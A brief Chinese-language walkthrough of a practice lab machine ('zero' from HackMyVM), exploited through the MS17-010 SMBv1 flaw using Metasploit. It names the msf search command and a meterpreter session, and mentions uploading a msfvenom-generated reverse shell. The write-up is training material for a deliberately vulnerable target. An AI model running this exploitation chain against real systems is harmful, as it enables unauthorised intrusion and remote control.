主要是ms17-010漏洞的利用。

开机扫描端口。

根据提示，将zero.hmv加入hosts。一些搜索后，无可用入口，只能从smb入手。确定支持smb v1，存在漏洞。

在msf里查找可用的exploit。

msf6 > search smb ms17-010

尝试了一下，第二个exploit可以得到shell。

meterpreter > 

虽然弹出shell还有问题，但有了meterpreter一样可以操作。也可以上传一个msfvenom生成的shell得到命令行。

meterpreter > upload rev.exe

另外，VulNyx平台的Eternal、Experience两个靶机也是同样利用这个漏洞，不再另发文章。
